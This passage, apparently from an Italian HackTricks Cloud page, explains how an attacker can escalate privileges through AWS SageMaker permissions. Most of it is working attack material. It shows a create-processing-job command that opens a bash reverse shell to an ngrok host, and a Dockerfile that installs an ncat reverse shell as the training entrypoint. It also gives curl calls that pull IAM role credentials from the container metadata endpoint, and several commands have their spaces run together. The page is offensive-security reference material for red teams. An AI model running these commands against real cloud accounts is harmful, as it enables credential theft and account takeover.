La risposta dovrebbe contenere un campo NotebookInstanceArn, che conterrà l'ARN della nuova istanza del notebook. Possiamo quindi utilizzare l'API create-presigned-notebook-instance-url per generare un URL che possiamo utilizzare per accedere all'istanza del notebook una volta pronta:
Vai all'URL con il browser e fai clic su "Apri JupyterLab" in alto a destra, quindi scorri verso il basso fino alla scheda "Launcher" e sotto la sezione "Altro", fai clic sul pulsante "Terminale".
Ora è possibile accedere alle credenziali dei metadati del ruolo IAM.
Impatto potenziale: Privesc al ruolo del servizio Sagemaker specificato.
sagemaker:CreatePresignedNotebookInstanceUrl
Se ci sono già notebook Jupyter in esecuzione su di esso e puoi elencarli con sagemaker:ListNotebookInstances (o scoprirli in qualsiasi altro modo). Puoi generare un URL per accedervi e rubare le credenziali come indicato nella tecnica precedente.
Potenziale Impatto: Privesc al ruolo del servizio Sagemaker collegato.
sagemaker:CreateProcessingJob,iam:PassRole
Un attaccante con queste autorizzazioni può fare in modo che Sagemaker esegua un job di elaborazione con un ruolo Sagemaker ad esso collegato. L'attaccante può indicare la definizione del container che verrà eseguito in un'istanza di un account AWS gestito da ECS e rubare le credenziali del ruolo IAM collegato.
# I uploaded a python docker image to the ECRawssagemakercreate-processing-job \--processing-job-name privescjob \--processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \--app-specification "{\"ImageUri\":\"<id>.dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \
--role-arn <sagemaker-arn-role># In my tests it took 10min to receive the shellcurl"http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"#To get the creds
Impatto potenziale: Privesc al ruolo del servizio Sagemaker specificato.
sagemaker:CreateTrainingJob, iam:PassRole
Un attaccante con queste autorizzazioni sarà in grado di creare un job di training, eseguendo un container arbitrario su di esso con un ruolo allegato ad esso. Di conseguenza, l'attaccante sarà in grado di rubare le credenziali del ruolo.
Questo scenario è più difficile da sfruttare rispetto al precedente perché è necessario generare un'immagine Docker che invierà la reverse shell o le credenziali direttamente all'attaccante (non è possibile indicare un comando di avvio nella configurazione del job di training).
# Create docker imagemkdir/tmp/rev## Note that the trainning job is going to call an executable called "train"## That's why I'm putting the rev shell in /bin/train## Set the values of <YOUR-IP-OR-DOMAIN> and <YOUR-PORT>cat>/tmp/rev/Dockerfile<<EOFFROM ubuntuRUN apt update && apt install -y ncat curlRUN printf '#!/bin/bash\nncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh' > /bin/trainRUN chmod +x /bin/trainCMD ncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/shEOFcd/tmp/revsudodockerbuild.-treverseshell# Upload it to ECRsudodockerlogin-uAWS-p$(awsecrget-login-password--region<region>)<id>.dkr.ecr.<region>.amazonaws.com/<repo>sudodockertagreverseshell:latest<account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latestsudodockerpush<account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
#To get the creds curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
Creds env var value example:/v2/credentials/proxy-f00b92a68b7de043f800bd0cca4d3f84517a19c52b3dd1a54a37c1eca040af38-customer
**Potenziale Impatto:** Privesc al ruolo di servizio di Sagemaker specificato.
## `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`
Un attaccante con queste autorizzazioni sarà (potenzialmente) in grado di creare un **job di addestramento degli iperparametri**, **eseguendo un contenitore arbitrario** su di esso con un **ruolo allegato** ad esso.\
Non ho sfruttato questa vulnerabilità a causa della mancanza di tempo, ma sembra simile agli exploit precedenti, sentiti libero di inviare una PR con i dettagli dello sfruttamento.
# Riferimenti
* [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)
<details>
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Altri modi per supportare HackTricks:
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai repository di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github.
</details>